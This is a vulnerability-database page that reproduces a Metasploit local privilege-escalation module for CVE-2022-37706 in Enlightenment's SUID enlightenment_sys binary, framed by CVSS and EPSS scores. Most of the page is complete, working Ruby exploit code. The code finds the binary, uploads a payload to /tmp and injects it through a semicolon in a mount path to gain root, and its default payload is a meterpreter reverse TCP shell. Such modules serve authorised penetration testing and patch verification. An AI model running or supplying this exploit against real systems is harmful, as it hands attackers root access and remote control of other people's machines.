Lucene search

K
metasploitH00die, Maher AzzouziMSF:EXPLOIT-LINUX-LOCAL-UBUNTU_ENLIGHTENMENT_MOUNT_PRIV_ESC-
HistoryOct 01, 2022 - 3:24 p.m.

Ubuntu Enlightenment Mount Priv Esc

2022-10-0115:24:29
h00die, Maher Azzouzi
www.rapid7.com
128

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

34.4%

This module exploits a command injection within Enlightenment’s enlightenment_sys binary. This is done by calling the mount command and feeding it paths which meet all of the system requirements, but execute a specific path as well due to a semi-colon being used. This module was tested on Ubuntu 22.04.1 X64 Desktop with enlightenment 0.25.3-1 (current at module write time)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ubuntu Enlightenment Mount Priv Esc',
        'Description' => %q{
          This module exploits a command injection within Enlightenment's
          enlightenment_sys binary. This is done by calling the mount
          command and feeding it paths which meet all of the system
          requirements, but execute a specific path as well due to a
          semi-colon being used.
          This module was tested on Ubuntu 22.04.1 X64 Desktop with
          enlightenment 0.25.3-1 (current at module write time)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Maher Azzouzi' # discovery, poc
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit' ],
          [ 'URL', 'https://twitter.com/maherazz2/status/1569665311707734023' ],
          [ 'CVE', '2022-37706' ]
        ],
        'DisclosureDate' => '2022-09-13',
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'PrependFork' => true, # so we can exploit multiple times
          'WfsDelay' => 10
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def find_enlightenment_sys
    enlightenment_sys = '/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys'
    if file_exist?(enlightenment_sys)
      vprint_good("Found binary: #{enlightenment_sys}")
      if setuid?(enlightenment_sys)
        vprint_good("It's set for SUID")
        # at this time there doesn't seem to be any other way to check if it'll be exploitable
        # like a version number as a patch hasn't been released yet
        return enlightenment_sys
      else
        return nil
      end
    else
      vprint_status('Manually searching for exploitable binary')
      # https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh#L7
      binary = cmd_exec('find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1')

      if binary.blank?
        vprint_bad('Unable to locate enlightenment_sys')
        return nil
      end
      vprint_good("Found SUID binary: #{enlightenment_sys}")
      return binary
    end
  end

  def check
    enlightenment_sys = find_enlightenment_sys
    return CheckCode::Safe('An exploitable enlightenment_sys was not found on the system') if enlightenment_sys.nil?

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    # Make sure we can write our exploit and payload to the local system
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    print_status('Finding enlightenment_sys')
    enlightenment_sys = find_enlightenment_sys
    if enlightenment_sys.nil?
      fail_with Failure::NotFound, "#{base_dir} is not writable"
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe
    dev_path = "/dev/../tmp/;#{payload_path}"
    register_files_for_cleanup(payload_path)

    print_status('Creating folders for exploit')
    cmd_exec('rm -rf /tmp/net; mkdir -p /tmp/net')
    cmd_exec("mkdir -p \"#{dev_path}\"")
    # Launch exploit with a timeout.  We also have a vprint_status so if the user wants all the
    # output from the exploit being run, they can optionally see it
    enlightenment_sys = find_enlightenment_sys
    print_status 'Launching exploit...'
    cmd_exec("#{enlightenment_sys} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), \"#{dev_path}\" /tmp///net", nil, datastore['WfsDelay'])
  end
end

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

34.4%